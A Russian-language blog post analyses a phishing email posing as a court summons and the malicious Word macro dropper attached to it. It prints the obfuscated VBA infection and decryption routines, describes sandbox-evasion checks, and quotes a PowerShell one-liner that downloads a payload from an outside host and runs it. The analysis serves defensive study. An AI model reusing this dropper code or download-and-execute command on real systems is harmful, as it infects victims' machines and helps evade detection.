Еще раз о вирусах в макросах Word

Давно мечтал сделать какой-нибудь интересный обзор вирусняков, которые валятся на почту в стиле исследователей с Хабра\Гиктаймса и вот случай представился.

Во-первых очень примечательный способ заражения. Письмо пришло с адреса публичного почтового сервера немецкого T-Mobile, т.е. явно через специально подготовленный ботнет. Письмо представляет из себя неплохой образчик социальной инженерии в виде повестки в суд с вложенным документом. На скриношоте видно, как он подготовлен.

Скриншот повестки

Скриншот повестки

Отличительная особенность в том, что не указано к кому эта «повестка» адресована. Выбор фамилии судьи и адрес суда интересен тоже. Сам суд реально существует, но вот в списке сотрудников на сайте указанного суда такого судьи нет. Однако фамилия быстро находится на первых строках поисковика и имеет отношение к совсем другому городу. Налицо более менее явное понимание текущих реалий, т.е. составители письма явно близкие к нашим широтам. Если мне не изменяет память, то похожий путь заражения использовался в знаменитой операции «Прикормка», однако на основании только одного файла однозначно это подтвердить я не могу.

Если не разобраться и сразу открыть вложенный документ, пользователь может столкнуться со следующим:

  • в файл Word в более старом OLE-формате встроен макрос, представляющий из себя обычный дроппер
  • сам макрос зашифрован простеньким алгоритмом и разбит на три модуля для затруднения понимания

Для разархивации вредоносного кода я применил удобный инструмент oledump с помощью которого вытащил все три модуля. Самые важные части этого дроппера в двух функциях: функция расшифровки и собственно главная процедура выполняющая заражение.

Функция заражения:

Public Sub FhwJ()
    On Error GoTo oIbf
    If Application.UserName = s("UPSPSWB", 45, 69) Then Module1.fzml s("aueean msBrd", 33, 79)
    If Application.RecentFiles.Count < 3 Then Module1.fzml s("daByrotsih ", 46, 120)
    # Обращение к серверу API
    iuHWG = XtHUH
    For Each HDTqF In kRJb
            If Module1.TZHU(iuHWG, HDTqF) <> 0 Then Module1.fzml s(" BIaSdP", 50, 9)
    Next
    # Загрузка и выполнение самой полезной нагрузки
    XMugH Igkc
    Exit Sub
    oIbf:
End Sub

Функция дешифровки:

Public Function AIPNM(ByVal SfizM As String, ByVal FhfGo As Integer, ByVal eGrh As Integer) As String
    yQyp = ibJo(FhfGo, Len(SfizM))
    Do While Len(AIPNM) < Len(SfizM)
            AIPNM = AIPNM & Mid(SfizM, yQyp + 1, 1)
            yQyp = ibJo((yQyp + eGrh), Len(SfizM))
    Loop
End Function

Public Function ibJo(ByVal kWxM As Integer, ByVal pmObx As Integer) As Integer
    ibJo = kWxM Mod pmObx
End Function

После расшифровки кода получилось примерно следующее:

  • Заражающая функция проверяет права пользователя, количество ссылок в хистори и используемые настройки подключения к интернету. Если пользователь не имеет соотв. привелегий, либо в хистори менее трех ссылок, а так же если в настройках подключения встречается слово из определенного набора (в основном включает названия различных дата-центров, т.е. заражающий не хочет, чтобы его зловред работал в окружении, где его быстро обнаружат), то процесс заражения прерывается.
  • Если проверки прошли удачно, делается запрос к управляющему центру в виде json-сервера, ответ которого сохраняется для передачи на исполнение. Сам запрос выглядит так:
GET https://wtfismyip.xxx/api-entry-point User-Agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
  • После запроса загружается уже полезная нагрузка и выполняется с помощью powershell на машине пользователя с его правами.
$f=[System.IO.Path]::GetTempFileName();(New-Object System.Net.WebClient).DownloadFile('http://elfaroconsultants.xxx/danger.file.bin', $f);(New-Object -com WScript.Shell).Exec($f)

Как видим более старая версия Windows с отсутствующим powershell этому дропперу может быть не подверженна.

К сожалению дальнейшее изучение полезной нагрузки мне провести не удалось, т.к. я плохо разбираюсь в низкоуровневом коде, а навыки использования дебаггеров упакованного кода оставляют желать лучшего. Файл благополучно отправлен на Virustotal для дальнейшего изучения профессионалами.

Добавить комментарий

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.